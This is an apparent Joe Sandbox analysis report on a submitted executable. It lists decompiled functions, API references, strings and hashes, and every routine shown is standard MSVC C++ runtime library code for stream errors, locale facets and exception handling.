Instruction ID: d0a360d99d5ce98cfcc8a04b3b4ac61e39d9b377900370a3940561080847d1e5
Opcode Fuzzy Hash: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
Instruction Fuzzy Hash: 10E0DF32718120ABC7219A4AE800CA3F7E9EF947B07894426E94483711C238FC10C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A930 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040A930(intOrPtr __ecx, signed int _a4, signed char _a8) {
				char _v44;
				char _v72;
				char _v112;
				char _v140;
				char _v180;
				char _v208;
				intOrPtr _v212;
				intOrPtr _t35;

				_v212 = __ecx;
				 *(_v212 + 8) = _a4 & 0x00000017;
				_t35 = _v212;
				if(( *(_v212 + 8) &  *(_t35 + 0xc)) != 0) {
					if((_a8 & 0x000000ff) == 0) {
						if(( *(_v212 + 8) &  *(_v212 + 0xc) & 0x00000004) == 0) {
							if(( *(_v212 + 8) &  *(_v212 + 0xc) & 0x00000002) == 0) {
								E004096E0( &_v208, "ios_base::eofbit set");
								E0040AB20( &_v180,  &_v208);
								E0040DC1C( &_v180, 0x4249d8);
								return E00409720( &_v208);
							}
							E004096E0( &_v140, "ios_base::failbit set");
							E0040AB20( &_v112,  &_v140);
							E0040DC1C( &_v112, 0x4249d8);
							return E00409720( &_v140);
						}
						E004096E0( &_v72, "ios_base::badbit set");
						E0040AB20( &_v44,  &_v72);
						E0040DC1C( &_v44, 0x4249d8);
						return E00409720( &_v72);
					}
					return E0040DC1C(0, 0);
				}
				return _t35;
			}

0x0040a939
0x0040a94b
0x0040a954
0x0040a960
0x0040a96d
0x0040a992
0x0040a9dd
0x0040aa24
0x0040aa36
0x0040aa47
0x00000000
0x0040aa52
0x0040a9ea
0x0040a9f9
0x0040aa07
0x00000000
0x0040aa12
0x0040a99c
0x0040a9a8
0x0040a9b6
0x00000000
0x0040a9be
0x00000000
0x0040a973
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 0040A973

Strings

ios_base::eofbit set, xrefs: 0040AA19
ios_base::failbit set, xrefs: 0040A9DF
ios_base::badbit set, xrefs: 0040A994

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 5b3467571822220f9652e30b7e3145641162868243537b81a977eb180f7c6271
Instruction ID: 38eab2493fbea20171378f8900f14c695a914f367878dc0c6cf2fafaed30e7c4
Opcode Fuzzy Hash: 5b3467571822220f9652e30b7e3145641162868243537b81a977eb180f7c6271
Instruction Fuzzy Hash: 29316D31A102188ACB18EB91DC92FADB335BF54304F5485ABE00D771C2DA78AE95CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C821 Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040C821(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t18;
				void* _t23;
				intOrPtr _t43;
				void* _t44;

				_push(0x14);
				E0040FA3F(E0041F345, __ebx, __edi, __esi);
				E0040CFB9(_t44 - 0x14, 0);
				_t43 =  *0x44aa74; // 0x23610d8
				 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
				 *((intOrPtr*)(_t44 - 0x10)) = _t43;
				_t17 = E0040B570(0x44ab8c);
				_t32 =  *((intOrPtr*)(_t44 + 8));
				_t18 = E0040B664( *((intOrPtr*)(_t44 + 8)), _t17);
				_t41 = _t18;
				if(_t18 == 0) {
					if(_t43 == 0) {
						_push( *((intOrPtr*)(_t44 + 8)));
						_push(_t44 - 0x10);
						_t23 = E0040C422(__ebx, _t32, __edx, _t41, _t43, __eflags);
						__eflags = _t23 - 0xffffffff;
						if(_t23 == 0xffffffff) {
							E0040DDBA(_t44 - 0x20, "bad cast");
							E0040DC1C(_t44 - 0x20, 0x424bd8);
						}
						_t41 =  *((intOrPtr*)(_t44 - 0x10));
						 *0x44aa74 =  *((intOrPtr*)(_t44 - 0x10));
						E0040B5A7( *((intOrPtr*)(_t44 - 0x10)));
						E0040D15A(_t41);
					} else {
						_t41 = _t43;
					}
				}
				 *(_t44 - 4) =  *(_t44 - 4) | 0xffffffff;
				E0040CFE1(_t44 - 0x14);
				return E0040FADE(_t41);
			}

0x0040c821
0x0040c828
0x0040c832
0x0040c837
0x0040c83d
0x0040c846
0x0040c849
0x0040c84e
0x0040c852
0x0040c857
0x0040c85b
0x0040c85f
0x0040c865
0x0040c86b
0x0040c86c
0x0040c873
0x0040c876
0x0040c880
0x0040c88e
0x0040c88e
0x0040c893
0x0040c898
0x0040c89e
0x0040c8a4
0x0040c861
0x0040c861
0x0040c861
0x0040c85f
0x0040c8aa
0x0040c8b1
0x0040c8bd

APIs

__EH_prolog3.LIBCMT ref: 0040C828
std::_Lockit::_Lockit.LIBCPMT ref: 0040C832
int.LIBCPMT ref: 0040C849

Part of subcall function 0040B570: std::_Lockit::_Lockit.LIBCPMT ref: 0040B583

std::locale::_Getfacet.LIBCPMT ref: 0040C852
ctype.LIBCPMT ref: 0040C86C
std::bad_exception::bad_exception.LIBCMT ref: 0040C880
__CxxThrowException@8.LIBCMT ref: 0040C88E
std::locale::facet::_Incref.LIBCPMT ref: 0040C89E
std::locale::facet::facet_Register.LIBCPMT ref: 0040C8A4

Strings

bad cast, xrefs: 0040C878

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8GetfacetH_prolog3IncrefRegisterThrowctypestd::bad_exception::bad_exceptionstd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID: bad cast
API String ID: 2535038987-3145022300
Opcode ID: b8f5c998f96eed160a99dd1edea43a4ff50ccf707218939186195598b1c89ccd
Instruction ID: edc459a87ffebe66010f3518ad285029c2e617eca7f2220bdcb28baf57a37dcf
Opcode Fuzzy Hash: b8f5c998f96eed160a99dd1edea43a4ff50ccf707218939186195598b1c89ccd
Instruction Fuzzy Hash: FC018E32940219DBCB05EBA1C8829AEB325AF50729F14463FF5117B2D1CF7C9A05C75D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA40 Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040CA40(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t18;
				void* _t23;
				intOrPtr _t43;
				void* _t44;

				_push(0x14);
				E0040FA3F(E0041F345, __ebx, __edi, __esi);
				E0040CFB9(_t44 - 0x14, 0);
				_t43 =  *0x44aa78; // 0x0
				 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
				 *((intOrPtr*)(_t44 - 0x10)) = _t43;
				_t17 = E0040B570(0x44ab10);
				_t32 =  *((intOrPtr*)(_t44 + 8));
				_t18 = E0040B664( *((intOrPtr*)(_t44 + 8)), _t17);
				_t41 = _t18;
				if(_t18 == 0) {
					if(_t43 == 0) {
						_push( *((intOrPtr*)(_t44 + 8)));
						_push(_t44 - 0x10);
						_t23 = E0040C8BE(__ebx, _t32, __edx, _t41, _t43, __eflags);
						__eflags = _t23 - 0xffffffff;
						if(_t23 == 0xffffffff) {
							E0040DDBA(_t44 - 0x20, "bad cast");
							E0040DC1C(_t44 - 0x20, 0x424bd8);
						}
						_t41 =  *((intOrPtr*)(_t44 - 0x10));
						 *0x44aa78 =  *((intOrPtr*)(_t44 - 0x10));
						E0040B5A7( *((intOrPtr*)(_t44 - 0x10)));
						E0040D15A(_t41);
					} else {
						_t41 = _t43;
					}
				}
				 *(_t44 - 4) =  *(_t44 - 4) | 0xffffffff;
				E0040CFE1(_t44 - 0x14);
				return E0040FADE(_t41);
			}

0x0040ca40
0x0040ca47
0x0040ca51
0x0040ca56
0x0040ca5c
0x0040ca65
0x0040ca68
0x0040ca6d
0x0040ca71
0x0040ca76
0x0040ca7a
0x0040ca7e
0x0040ca84
0x0040ca8a
0x0040ca8b
0x0040ca92
0x0040ca95
0x0040ca9f
0x0040caad
0x0040caad
0x0040cab2
0x0040cab7
0x0040cabd
0x0040cac3
0x0040ca80
0x0040ca80
0x0040ca80
0x0040ca7e
0x0040cac9
0x0040cad0
0x0040cadc

APIs

__EH_prolog3.LIBCMT ref: 0040CA47
std::_Lockit::_Lockit.LIBCPMT ref: 0040CA51
int.LIBCPMT ref: 0040CA68

Part of subcall function 0040B570: std::_Lockit::_Lockit.LIBCPMT ref: 0040B583

std::locale::_Getfacet.LIBCPMT ref: 0040CA71
codecvt.LIBCPMT ref: 0040CA8B
std::bad_exception::bad_exception.LIBCMT ref: 0040CA9F
__CxxThrowException@8.LIBCMT ref: 0040CAAD
std::locale::facet::_Incref.LIBCPMT ref: 0040CABD
std::locale::facet::facet_Register.LIBCPMT ref: 0040CAC3

Strings

bad cast, xrefs: 0040CA97

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8GetfacetH_prolog3IncrefRegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID: bad cast
API String ID: 577375395-3145022300
Opcode ID: d73971096f876b8b7f62537be0340c8b8e20d949e31b00638b94a52d02a59b7e
Instruction ID: a9e51c482048e3bb3757dded4ccb738d225e578860719c70d03c0d44b09953b7
Opcode Fuzzy Hash: d73971096f876b8b7f62537be0340c8b8e20d949e31b00638b94a52d02a59b7e
Instruction Fuzzy Hash: DD015235A40119D7CB05E7B18882AAE7225AF44728F14063FF5117B2D1DB7C99458B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00410C57 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00410C57(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x4250f0);
				E00414CEC(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0040DB17(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E004157B1(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E004157B1(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E004157B1(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E004157B1(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0040DBBC(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E00410D7D(_t48, _t53, _t55, _t57, _t61);
				return E00414D31( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x00410c57
0x00410c57
0x00410c57
0x00410c59
0x00410c5e
0x00410c63
0x00410c65
0x00410c68
0x00410c6b
0x00410c6e
0x00410c75
0x00410c86
0x00410c94
0x00410ca2
0x00410caa
0x00410cb8
0x00410cbe
0x00410cc5
0x00410cc8
0x00410cde
0x00410ce1
0x00410d56
0x00410d5d
0x00410d64
0x00410d71

APIs

__CreateFrameInfo.LIBCMT ref: 00410C7F

Part of subcall function 0040DB17: __getptd.LIBCMT ref: 0040DB25
Part of subcall function 0040DB17: __getptd.LIBCMT ref: 0040DB33

__getptd.LIBCMT ref: 00410C89

Part of subcall function 004157B1: __getptd_noexit.LIBCMT ref: 004157B4
Part of subcall function 004157B1: __amsg_exit.LIBCMT ref: 004157C1

__getptd.LIBCMT ref: 00410C97
__getptd.LIBCMT ref: 00410CA5
__getptd.LIBCMT ref: 00410CB0
_CallCatchBlock2.LIBCMT ref: 00410CD6

Part of subcall function 0040DBBC: __CallSettingFrame@12.LIBCMT ref: 0040DC08

Part of subcall function 00410D7D: __getptd.LIBCMT ref: 00410D8C
Part of subcall function 00410D7D: __getptd.LIBCMT ref: 00410D9A

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 78088e32e92cb832c79a21ff6a9dfcf5584f0ee46627b567b46b4de51f05c9b7
Instruction ID: 710af811a909f9d34dbdaceb98741ce0ddc48a22f861654e01bcbf8df1ae9e17
Opcode Fuzzy Hash: 78088e32e92cb832c79a21ff6a9dfcf5584f0ee46627b567b46b4de51f05c9b7
Instruction Fuzzy Hash: A21107B5D01209DFDB00EFA5D446BED7BB0FF48318F10806AF824A7291DB789A959F58

Uniqueness

Uniqueness Score: -1.00%

Function 0041C298 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041C298(void* __edx, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E004115D0( &_v20, __edx, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0041C3C9( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041546A(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0041c2a2
0x0041c2a9
0x0041c2c0
0x00000000
0x0041c2b0
0x0041c2b2
0x0041c2cc
0x0041c2d1
0x0041c2d4
0x0041c2d7
0x0041c300
0x0041c307
0x0041c309
0x0041c38a
0x0041c3a5
0x0041c3a7
0x0041c2e7
0x0041c2e7
0x0041c2ea
0x0041c2ec
0x0041c2ef
0x0041c2ef
0x0041c2ef
0x0041c2ef
0x00000000
0x0041c2f5
0x0041c369
0x0041c369
0x0041c36e
0x0041c374
0x0041c377
0x0041c379
0x0041c37c
0x0041c37c
0x0041c37c
0x0041c37c
0x00000000
0x0041c380
0x0041c30b
0x0041c30e
0x0041c314
0x0041c317
0x0041c33e
0x0041c341
0x0041c347
0x00000000
0x00000000
0x0041c349
0x0041c34c
0x00000000
0x00000000
0x0041c34e
0x0041c34e
0x0041c354
0x0041c357
0x0041c2c5
0x0041c2c5
0x0041c360
0x00000000
0x0041c360
0x0041c319
0x0041c31c
0x00000000
0x00000000
0x0041c320
0x0041c331
0x0041c337
0x0041c339
0x0041c33c
0x00000000
0x00000000
0x00000000
0x0041c33c
0x0041c2d9
0x0041c2dc
0x0041c2de
0x0041c2e4
0x0041c2e4
0x00000000
0x0041c2b4
0x0041c2b4
0x0041c2b9
0x0041c2bd
0x0041c2bd
0x00000000
0x0041c2b9
0x0041c2b2

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0041C2CC
__isleadbyte_l.LIBCMT ref: 0041C300
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,?,?,00000000,?,?,?), ref: 0041C331
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000,?,?,?), ref: 0041C39F

Strings

pYqtMqtNqtPeqt, xrefs: 0041C331, 0041C39F

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID: pYqtMqtNqtPeqt
API String ID: 3058430110-4161725857
Opcode ID: 613e0b5b46787031272878f99cc94477ded4586d84f0e8398a09da203a41ab81
Instruction ID: 84224a8799941167d6ef057ae2323efd51d79103f2141f9d5f29ca8099d601e7
Opcode Fuzzy Hash: 613e0b5b46787031272878f99cc94477ded4586d84f0e8398a09da203a41ab81
Instruction Fuzzy Hash: 0E31CE31A80299EFCB20DFA4CCC49EE7BA5BF02310F1585AAE4659B291D734DD80DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411004 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E00411004(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E00410F72(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0040D86F(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E004109DC(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E00410C57(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0040D836(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x00411004
0x00411004
0x00411004
0x00411004
0x00411004
0x00411009
0x0041100d
0x0041100f
0x00411012
0x00411013
0x00411014
0x00411017
0x0041101c
0x0041101c
0x0041101f
0x00411023
0x00411026
0x0041102b
0x00411028
0x00411028
0x00411028
0x0041102e
0x00411033
0x00411035
0x00411038
0x0041103b
0x0041103c
0x00411044
0x00411049
0x0041104d
0x00411050
0x00411053
0x00411059
0x0041105a
0x0041105d
0x00411067
0x0041106b
0x00000000
0x0041106b
0x00411071

APIs

___BuildCatchObject.LIBCMT ref: 00411017

Part of subcall function 00410F72: ___BuildCatchObjectHelper.LIBCMT ref: 00410FA8

_UnwindNestedFrames.LIBCMT ref: 0041102E
___FrameUnwindToState.LIBCMT ref: 0041103C

Strings

csm, xrefs: 00411013, 00411028, 0041103B, 00411059, 00411069
TQB, xrefs: 00411006

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: TQB$csm
API String ID: 2163707966-3950764416
Opcode ID: 3c1ede0a81de603d2616ba23e28cc2cb4bcf4b3aa86125578a0e1e348d88f318
Instruction ID: cf97e25244d69dbd145e341d94c736ff05b778b0a3bcf8984f790fbbef74e28e
Opcode Fuzzy Hash: 3c1ede0a81de603d2616ba23e28cc2cb4bcf4b3aa86125578a0e1e348d88f318
Instruction Fuzzy Hash: 27012875400149BBDF226F52CC45EEB3F6AEF08354F004016FE1825161D77AD8E1DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041404F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E0041404F() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x422970;
					_v28 =  *0x422968;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00414054
0x0041405c
0x00414073
0x0041401f
0x00414028
0x00414034
0x00414037
0x0041403a
0x0041403c
0x0041403f
0x00414044
0x0041404e
0x00414046
0x0041404a
0x0041404a
0x0041405e
0x00414064
0x0041406c
0x00000000
0x0041406e
0x0041406e
0x00414072
0x00414072
0x0041406c

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040D66A), ref: 00414054
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00414064

Strings

IsProcessorFeaturePresent, xrefs: 0041405E
KERNEL32, xrefs: 0041404F
NqtPeqt, xrefs: 00414064

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32$NqtPeqt
API String ID: 1646373207-1473183753
Opcode ID: bb149d1fbccac9a90e4c62faf2c6c4441535c97ef7d151bb0361410a5fba287d
Instruction ID: 9196119ec71ff3917f74874aabd534235c635df1609f9af4ceccbd4b993bfeae
Opcode Fuzzy Hash: bb149d1fbccac9a90e4c62faf2c6c4441535c97ef7d151bb0361410a5fba287d
Instruction Fuzzy Hash: 36F01D70B40A09E2DB205BB1BD0E6AF7EB8BB84702FD105929291A0095DF7484F6D25A

Uniqueness

Uniqueness Score: -1.00%

Function 00410993 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00410993(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E004157B1(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E004157B1(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
